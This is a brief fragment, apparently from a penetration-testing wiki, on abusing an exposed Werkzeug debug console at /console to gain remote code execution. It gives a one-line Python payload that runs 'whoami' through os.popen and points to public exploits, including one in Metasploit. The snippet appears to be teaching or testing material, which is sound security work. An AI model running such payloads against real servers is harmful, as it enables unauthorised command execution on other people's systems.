最后更新于4年前
这有帮助吗?
If debug is active you could try to access to /console and gain RCE.
/console
__import__('os').popen('whoami').read();
There is also several exploits on the internet like or one in metasploit.